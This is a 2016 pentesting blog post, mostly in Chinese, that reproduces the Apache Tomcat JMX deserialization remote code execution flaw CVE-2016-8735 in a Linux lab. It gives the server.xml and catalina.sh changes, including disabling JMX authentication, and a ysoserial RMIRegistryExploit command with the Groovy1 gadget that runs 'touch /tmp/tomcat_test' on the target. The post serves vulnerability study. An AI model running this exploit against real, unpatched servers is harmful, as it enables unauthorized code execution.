Apache Tomcat Remote Code Execution(CVE-2016-8735)

Pentesting on linux

Posted by Urahara on December 10, 2016

Versions Affected

Apache Tomcat 9.0.0.M1 to 9.0.0.M11
Apache Tomcat 8.5.0 to 8.5.6
Apache Tomcat 8.0.0.RC1 to 8.0.38
Apache Tomcat 7.0.0 to 7.0.72
Apache Tomcat 6.0.0 to 6.0.47
Earlier, unsupported versions may also be affected.

Description

​ 这个漏洞实质还是JMX反序列化漏洞,tomcat同样也用了JmxRemoteLifecycleListener这个监听器,但是tomcat在Oracle修复这个漏洞后自己没有及时更新,导致了反序列还依旧存在。网上搜了很多关于该漏洞的分析文章基本上都是0c0c0f牛在微信公众号里文章的转载或是变种,也基本都是在window系统上做的测试,所以也就想在linux也测试一下,也就有了这篇文章,大牛们勿喷呐= =、。

Test Environment

Linux Ubuntu server x86

Apache Tomcat (http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/apache-tomcat-8.0.36.tar.gz)

catalina-jmx-remote (http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/extras/catalina-jmx-remote.jar) //添加至%TOMCAT_HOME%/lib/目录下

Groovy (https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar) //添加至 %TOMCAT_HOME%/lib/目录下

POC (https://github.com/frohoff/ysoserial)

Test Steps

  1. 修改 tomcat server.xml 配置文件,添加以下内容:

    <Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />
    
  2. 修改 tomcat/bin 目录下 catalina.sh ,在# —– Execute The Requested Command ——–处添加以下内容:

    # ----- Execute The Requested Command -----------------------------------------
    CATALINA_OPTS="$CATALINA_OPTS
    -Dcom.sun.management.jmxremote
    -Dcom.sun.management.jmxremote.ssl=false
    -Dcom.sun.management.jmxremote.authenticate=false  //设为无账号密码认证
    -Djava.rmi.server.hostname=192.168.64.7"  //设置hostname为服务器ip地址,否则JMX无法进行远程访问
    
  3. ./startup.sh启动tomcat服务

  4. 执行POC

    java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.64.7 10001 Groovy1 "touch /tmp/tomcat_test"
    

    Tomcat-CVE-2016-8735


​ 关于linux配置tomcat运行远程监控(JMX)这里有个坑,网上搜到的绝大多数关于linux下tomcat jmx配置的文章,都使用了只修改catalina.sh为以下内容的方法,包括Zabbix Wiki也是推荐的这种方式:

   CATALINA_OPTS="$CATALINA_OPTS 
   -Dcom.sun.management.jmxremote
   -Dcom.sun.management.jmxremote.port=9999
   -Dcom.sun.management.jmxremote.ssl=false
   -Dcom.sun.management.jmxremote.authenticate=false
   -Djava.rmi.server.hostname=192.168.64.7"

​ 但就这种方式而言,需要注意的是 catalina.sh 中提供的默认变量名 JAVA_OPTS 和 CATALINA_OPTS。由于 JAVA_OPTS 所添加的参数会在 tomcat 开启和关闭时都运行,所以如果你把 Dcom.sun.management.jmxremote.port=9999 写在 JAVA_OPTS 中时,关闭服务的时候是会报错的,而且在该漏洞场景中攻击利用也是不会成功的,因此需要注意的是在平常渗透过程当中若在linux下遇到了该漏洞,利用不成功也是正常的。


### Referer

http://seclists.org/oss-sec/2016/q4/502

微信公众号:0c0c0f